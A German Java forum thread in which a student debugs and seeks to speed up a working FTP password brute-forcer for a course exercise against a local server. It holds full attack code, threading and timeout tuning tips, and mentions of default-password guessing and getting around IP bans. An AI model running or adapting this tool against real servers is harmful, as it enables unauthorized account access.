FTP Verbindungsaufbau beschleunigen

G

Gast2

Gast
Guten Morgen,

ich heiße Martin und studiere an einer Fachhochschule Informatik und habe folgende Aufgabe: "Erstellen Sie mit Java ein geeignetes Skript oder Programm, das systematisch alle möglichen Passwort-Kombinationen auf den FTP-Login von „username“ ausprobiert."

Realisiert habe ich das ganze mit einem Tryblock welcher solange ausgeführt wird bis das gültige Passwort gefunden wurden.
Java:
//...
URL url = new URL("ftp://" + loginname + ":" + passwort + "@" + ziel);
//...

sowie

Java:
private static void show(URL url) throws IOException {
        InputStream in = url.openStream();
        BufferedReader buff = new BufferedReader(new InputStreamReader(in));
        String s;
        while ((s = buff.readLine()) != null) {
            System.out.println(s);
        }
    }

Leider ist meine Lösung wahnsinnig langsam, ca. 1Versuch/2Sekunden. Der FTP-Server läuft in einer virtuellen Maschine auf meinem Host, ich vermute meine Prüfung auf den Aufbau einer Verbindung ist nicht ganz optimal;-)
Wie kann ich das ganze möglichst einfach beschleunigen?

lg Martin
 

Kr0e

Gesperrter Benutzer
Da will ich auch studieren!! Cracker's 101 :D


-> Einen Verbindungsaufbau kannst du nicht beschleunigen, vlt durch tunen von einer paar Socketeinstellungen, wäre mir aber neu und wenn überhaupt nur minimal...

Davon abgesehen, wenn es wirklich eine Uniaufgabe ist, dann wird doch sicher nicht gefordert, dass du den FTP wirklich knackst :D

Andererseits wenn ein wichtiger FTP - Zugang ist, lohnt sich das warten vlt.. :D
 
G

Gast2

Gast
mein Gedankengang wäre gewesen einfach 10x gleichzeitig mit unterschiedlichen Passwörtern zu testen.
Meine Kenntnisse in Java sind allerdings nicht so der Kracher, wie kann ich das realisieren?

Es ist die Aufgabe ein dreistelliges Passwort zu knacken, aber wenn ich das in dem Tempo mache lacht mich unser Dozent bestimmt aus;-)

Ps. ich bin an einer Fachhochschule, wirklich.
 
Zuletzt bearbeitet von einem Moderator:

shadow123

Mitglied
:autsch:
Das was euer Prof euch nahebringen will ist eine BruteForce-Attacke und nicht wirklich legal :rtfm: Auf jeden Fall nicht wenn du gegen einen FTP-Server vorgehst der nicht dir selbst gehört.

Jedenfalls sind solche BruteForce-Passwortknacker sehr langsam, da du ja alle möglichen Kompinationen durchgehen musst. Wenn z. B. Zahlen von 0-9 verwendet werden so musst du im schlimmsten Fall 999 Verbindungen aufmachen und prüfen, ob du einen Zugriff erhälst. Du könntest es durchaus durch Threads lösen, doch besteht da die Möglichkeit, dass du den FTP-Server durch zu viele Anfragen in die Knie zwingst. Das wäre wiederrum eine DDoS-Attacke, und auf jeden Fall nicht wünschenswert ;)

Also wie gesagt, deine Vorgehensweise an sich ist ja schon richtig. Optimierungen lassen sich da kaum durchführen. Jedenfalls soweit mir im Moment bekannt ist.
Ich hab mal mit einem nativen Tool (kommerziell) ein bis zu 8-stelliges Passwort eines WinRAR-Archivs zu knacken versucht. Hatte glaub ich 3 Tage oder so gedauert ...
 

Kr0e

Gesperrter Benutzer
Viel wahrscheinlicher ist, dass deine IP gesperrt wird nach 10 oder 20 falschen Verscuhen.... Vergiss dein VOrhaben.. Wenns wirklich eine UNI-Aufgabe (Was ich hier mal stark bezweifeln möchte!!), dann reicht der Ansatz mit der URL-Klasse....

Auf diese Weise eine Kombination zu finden, ist unmöglich... Da kannste genauso gut einfach raten ... Versuch doch mal Standardpasswörter wie "admin", "passwort", "hallo123" :D Es ist er schreckend wie unsicher manche Passwörter sind.. Gerade bei Firmen, die sich das einmal haben einrichten lassen und dann nie wieder ändern :D

Gruß,

Chris
 
G

Gast2

Gast
zum Glück hat jeder Teilnehmer seinen eigenen, lokalen FTP-Server. Zum Thema threads habe ich einiges an Literatur gefunden, danke :)
 
G

Gast2

Gast
Viel wahrscheinlicher ist, dass deine IP gesperrt wird nach 10 oder 20 falschen Verscuhen.... Vergiss dein VOrhaben.. Wenns wirklich eine UNI-Aufgabe (Was ich hier mal stark bezweifeln möchte!!), dann reicht der Ansatz mit der URL-Klasse....

Auf diese Weise eine Kombination zu finden, ist unmöglich... Da kannste genauso gut einfach raten ... Versuch doch mal Standardpasswörter wie "admin", "passwort", "hallo123" :D Es ist er schreckend wie unsicher manche Passwörter sind.. Gerade bei Firmen, die sich das einmal haben einrichten lassen und dann nie wieder ändern :D

Gruß,

Chris
nein es ist keine Uniaufgabe, wie schon zweimal geschrieben bin ich an einer Fachhochschule....
Davon abgesehen schreibst du gerade Quatsch ;-)
  • Warum sollte ich mich von meinem eigenen, lokalen FTP-Server aussperren?
  • Ich möchte nicht irgendein billiges Standardpasswort knacken, die Aufgabe besteht darin ein Programm dafür zu bauen. Sicherheitstechnisch gesehen ist es wahnsinnig interessant wie (un)kreativ manche Passwörter sind - aber das löst nicht die Fragestellung :-(
  • zu gesperrten IP's gibt es diverse Lösungsansätze, der soziale gefällt mir am besten. Vermutlich sind die meisten anderen inzwischen als überholt zu betrachten, es sei denn man trifft auf oben erwähnte kreative Passwörter.
 

Kr0e

Gesperrter Benutzer
Naja, ein guter FTP-Server sollte merken, wenn jemand 1000mal versucht sich einzuloggen, aber immer falsche Daten angibt.
Das sollte bei einem lokal laufenden nicht anders sein.... [EDIT] Es sei denn du schaltest solche Funktionen aus! Aber dann is das ganze iwie realitätsfern..

Ich begreif nicht, wo egientlcih dein Prioblem ist ?

Ich sags dir heir nochmal ganz kalr und deutlich: Bruteforce ist etwas, was nur bei kurzen Passwörtern adequat einzusetzen ist.
Die Verbindungszeit kannst du nicht verringern!

Und selbst wenn du die gesperrte IP iwie umgehst... Ich hab grad keine Lust dir das vorzurechnen, aber ich glaub schon bei einem 6stellingen Passwort wo Zahlen und Buchstaben vorkommen können, steigt die Komplexität ins Unermässliche, wodurch du tausende von Jahren bräuchtest, wenn jeder Versuch eine Sekunde braucht.. Die genauen Werte kann man sich ja leicht berechnen...

Einfacher wäre es bei jemandem, der die Zugangsdaten hat, einen Keylogger laufen zu lassen ... :D
 
Zuletzt bearbeitet:

shadow123

Mitglied
OK, mal was sinnvolles von mir :bae:

Also, wie der Vorredner bereits angemerkt hat kannst du den Verbindungsaufbau und die Abfragezeit nicht beschleunigen außer anderer Hardware.

Das mit den Threads ist wohl die einzige realistische Möglichkeit. Ein Beispiel:
Dein Passwort sollte nur die Zahlen 0-9 haben. Also 1000 Möglichkeiten. So, nur als Lehrbeispiel:
Du erstellst dann 10 Threads, die jeweils bei den Prozent-Mengen der Passwortliste anfangen.
1000/10 = 100
Also beginnt der Thread 1 bei 000, Thread 2 bei 100, Thread 3 bei 200, ... Thread 10 bei 900.
Jetzt läuft jeder Thread seinen Nummernkreis durch bis einer von denen das richtige Passwort hat. So z. B. senkst du die Dauer deiner BruteForce-Attacke um ein utopisches Zehntel der Zeit :applaus:
 

Volvagia

Top Contributor
So z. B. senkst du die Dauer deiner BruteForce-Attacke um ein utopisches Zehntel der Zeit :applaus:
Und wenn er 1000 Threads einsetzt ist die Abfragezeit 1? Oo
Einfacher zu realisieren wäre es wohl, wenn die Threads nicht bei "000", "100" usw. anfangen, sondern bei "000", ("000" + Thread-nr) und dann um die Anzahl der laufenden Threads vorrücken.

Ich habe auf meinen Server so was laufen, ist schon irgendwie lustig das sich täglich gut 10 verschiedene Computer mit 10 Kombinationen versuchen einzuloggen.

Java:
public void run()
{
	try
	{
		String ip = s.getInetAddress().toString().substring(1);
		System.out.println(String.format("Client connected with ip %s", ip));
		
		BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(s.getOutputStream()));
		bw.write("220 (vsFtpd 2.0.6)\n");
		bw.flush();

		
		InputStream is = s.getInputStream();
		StringBuilder sb = new StringBuilder();
		
		do
		{
			sb.setLength(0);
			
			for(int read = 0; (read = is.read()) != -1 && read != 13;)
			{
				if(read != 13 && read != 10)
					sb.append((char)read);
			}

			try
			{
				if(sb.length() > 0)
				{
					String s = sb.toString();
					System.out.printf("%s > %s with IP \"%s\"\n",
							Thread.currentThread().getName(), s, ip);
					
					if(s.startsWith("USER"))
					{
						bw.write("331 Password required.\n");
						bw.flush();
					}
					else if(s.startsWith("PASS"))
					{
						TimeUnit.SECONDS.sleep(1L);
						
						bw.write("530 Login incorrect.\n");
						bw.flush();
						break;
					}
					else if(s.equalsIgnoreCase("QUIT"))
						break;
					else
					{
						bw.write("500 Please authenticate first.\n");
						bw.flush();
					}

				}
				else
					TimeUnit.MILLISECONDS.sleep(10L);
			}
			catch (InterruptedException e)
			{
				e.printStackTrace();
			}
		}
		while(true);
	}
	catch (IOException e)
	{
		e.printStackTrace();
	}
	
	try
	{
		TimeUnit.SECONDS.sleep(10L);
	}
	catch (InterruptedException e1) {}
	
	try
	{
		s.close();
	}
	catch (IOException e)
	{
		e.printStackTrace();
	}
}
 

shadow123

Mitglied
Und wenn er 1000 Threads einsetzt ist die Abfragezeit 1? Oo
Einfacher zu realisieren wäre es wohl, wenn die Threads nicht bei "000", "100" usw. anfangen, sondern bei "000", ("000" + Thread-nr) und dann um die Anzahl der laufenden Threads vorrücken.

Deswegen "utopisch", weil es einfach nicht vorherzusagen ist. Es ist alles ein Ding der Möglichkeit, nur auf die Umsetzung kommt es an.
Deine Idee ist nicht schlecht, würde aber einen Overhead an der Verwaltung bedeuten. Aber wie gesagt, ist alles eine Sache der Umsetzung ...
 
G

Gast2

Gast
soooo, die Abgabe rückt näher und es funktioniert. Allerdings nur bis zum 4. Versuch - danach kommt eine Exception:
Code:
Executing 'C:\Program Files (x86)\Java\jdk1.6.0_23\bin\java.exe' with arguments:
'-Dfile.encoding=UTF-8'
'-classpath'
'C:\Users\Martin\Documents\NetBeansProjects\testass\build\classes;C:\Users\Martin\Documents\NetBeansProjects\testass\src'
'testass.Main'
The ' characters around the executable and arguments are
not part of the command.
839608
Passwortliste generiert
Versuche: !
falsches Passwort: !
Versuche: "
falsches Passwort: "
Versuche: #
falsches Passwort: #
Versuche: $
falsches Passwort: $
Versuche: %
Exception in thread "main" java.lang.StringIndexOutOfBoundsException: String index out of range: 3
        at java.lang.String.substring(String.java:1934)
        at sun.net.www.ParseUtil.unescape(ParseUtil.java:143)
        at sun.net.www.ParseUtil.decode(ParseUtil.java:163)
        at sun.net.www.protocol.ftp.FtpURLConnection.<init>(FtpURLConnection.java:170)
        at sun.net.www.protocol.ftp.Handler.openConnection(Handler.java:43)
        at sun.net.www.protocol.ftp.Handler.openConnection(Handler.java:38)
        at java.net.URL.openConnection(URL.java:945)
        at java.net.URL.openStream(URL.java:1010)
        at testass.Main.show(Main.java:84)
        at testass.Main.main(Main.java:73)
Java Result: 1
BUILD SUCCESSFUL (total time: 17 seconds)

Hat jemand eine Idee woran das liegen könnte? Mein Quellcode:
Java:
package testass;

import java.util.*;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.MalformedURLException;
import java.net.URL;
import org.omg.PortableInterceptor.SYSTEM_EXCEPTION;

public class Main {

    public static void main(String[] args) {
        //-----------------------------------------------------------------------------
        //Variablen festlegen, Felder initialisieren
        //-----------------------------------------------------------------------------
        int max = 3;
        ArrayList<String> ergebnis = new ArrayList<String>();

        //Feld Werte mit allen möglichen Asciizeichen definieren
        char[] werte = new char[94];
        char a = 33; //erstes Zeichen im Asciicode !
        for (int i = 0; i < werte.length; i++, a++) {
            werte[i] = a;
        }

        //Alle möglichen Elemente aus Werte als Passwörter der Länge 1 ins Ergebnisfeld füllen
        for (int i = 0; i < werte.length; i++) {
            ergebnis.add(String.valueOf(werte[i]));
        }

        //es wird solange ein neues Element genommen bis kein zu erweiterendes Element(=VORHANDENE PASSWÖRTER) mehr vorhanden ist und/order die maximale Wortlänge erreicht wurde
        //Anzahl der zu erweiternden Elemente herrausfinden
        int einfugepos = werte.length + 1; //einfügeposition des ersten Elementes
        int anzElem = 0;

        //Solange das letztes Passwort < maximal ist wird generiert:
        int aktLange = 1;
        int counter = 0;
        int j = 0;
        int muss = 0;
        for (int i = 2; i <= max; i++)//Anzahl der gesamten Kombis bei einem Passwort der Länge i
        {
            muss += Math.pow(werte.length, i);
        }

        while (counter <= muss) {
            for (int i = 0; i < werte.length; i++) {
                ergebnis.add(ergebnis.get(j).concat(String.valueOf(werte[i])));
                counter++;
                //System.out.println(ergebnis.get(ergebnis.size()-1));
            }
            j++;
        }
        System.out.println(ergebnis.size());
        System.out.println("Passwortliste generiert");



        //ergebnis enthält alle passwortkombinationen
        String ziel = "192.168.3.1";
        String loginname = "testftp";

        boolean flagkorrekt = false;
        for (int versuch = 0; versuch < ergebnis.size(); versuch++) {
            String passwort = ergebnis.get(versuch);
            try {
                System.out.println("Versuche: " + passwort);
                //als String ausgeben und schauen
                //spezielleres FTPobjekt nutzen
                URL url = new URL("ftp://" + loginname + ":" + passwort + "@" + ziel);
                show(url);
                flagkorrekt = true;
                break;
            } catch (IOException e) {
                flagkorrekt = false;
                System.out.println("falsches Passwort: " + passwort);
            }
        }
    }

    private static void show(URL url) throws IOException {
        InputStream in = url.openStream();
        BufferedReader buff = new BufferedReader(new InputStreamReader(in));
        String s;
        while ((s = buff.readLine()) != null) {
            System.out.println(s);
        }
    }
}
 

Andi_CH

Top Contributor
1. Steht da Exception in thread "main" java.lang.StringIndexOutOfBoundsException: String index out of range: 3

2. steht da
Java:
int max = 3;

Das dürfte einen direkten Zusammenhang haben denn da greift doch einer in einem Array auf den index 3 zu den es nicht gibt .....

Es gibt Debugger für solche Sachen!
 
G

Gast2

Gast
Die Idee ist mir auch schon gekommen - ich kann jedoch nicht ganz folgen. "max" ist eine Variable welche nur in der folgenden Schleife genutzt wird.
 

Empire Phoenix

Top Contributor
ich tippe darauf das die url klasse irgetwas in deinem string hat was interpretiert wird. beim % währe ein %20 naheligent als encodiertes leerzeichen. oder was vergleichbares.
 
G

Gast2

Gast
hmm, interessant.
wenn man das % Zeichen an die Funktion übergibt kommt die xception, super :)
 

Andi_CH

Top Contributor
"%" durch "\%" ersetzten ;-)
(Ist etwas schwierig zu prüfen wenn man keinen lokalen Server am Laufen hat und das Netzwerk nicht mit unnötigem Traffic belasten will)
 
G

Gast2

Gast
stimmt, \ war ja escape :)
Allerdings gibt es keine Note sondern nur einen Hacken für erledigt - da habe ich kurzerhand alle Sonderzeichen entfernt und auf das Threading verzichtet :)
Vielleicht beschäftige ich mich in den Semesterferien noch weiter damit, kennt zufällig jemand ein gutes Buch bezüglich Java und IT-Sicherheit?
 

Andi_CH

Top Contributor
Na ja, mit Threading hat das sicher nichts zu tun. Die Zeichenauswahl die nach einen % kommen darf ist halt eingeschränkt und das führte wohl zur Exception.

Auf welchen Niveau willst du IT-Sicherheit? Und was hat das mit Java zu tun? Ich habe, so viel ich weiss, einiges zum Thema Netzwerksicherheit aber da muss ich erst zu Hause nachschauen.
 
G

Gast2

Gast
zuerst wollte ich threading halt noch einbauen, so wie ich es jetzt habe schaffe ich ca. 1 Versuch/3 Sekunden.
Meine Javakenntnisse beschränken sich auf Grundlagen und ich brauche eine Motivation um mein Java zu verbessern. Niveau kann ruhig etwas höher sein, Deutsch wäre cool.
 

Andi_CH

Top Contributor
Es geht nicht um das fachliche Niveau sondern ist es Niveau IP, Niveau Netzwerk, Niveau Applikation und mit Java hat es nach wie vor überhaupt nichts zu tun.

Was willst du denn profitieren?
 

thewulf00

Bekanntes Mitglied
Also die meisten FTP-Server warten absichtlich beim falschen Passwort ein paar Sekunden ab.
Du hast hier zwei Möglichkeiten:
1) Mit mehreren Threads gleichzeitig Login-Varianten abarbeiten,
2) Nach dem Absenden des Passworts max. 30 Sekunden warten und dann von selbst abbrechen.
 

Dit_

Bekanntes Mitglied
und schon haben wir eine nette "Wie knacke ich das FTP-Zugangspasswort per BruteForce"- Anleitung... :hihi:
 

Ähnliche Java Themen

Neue Themen


Oben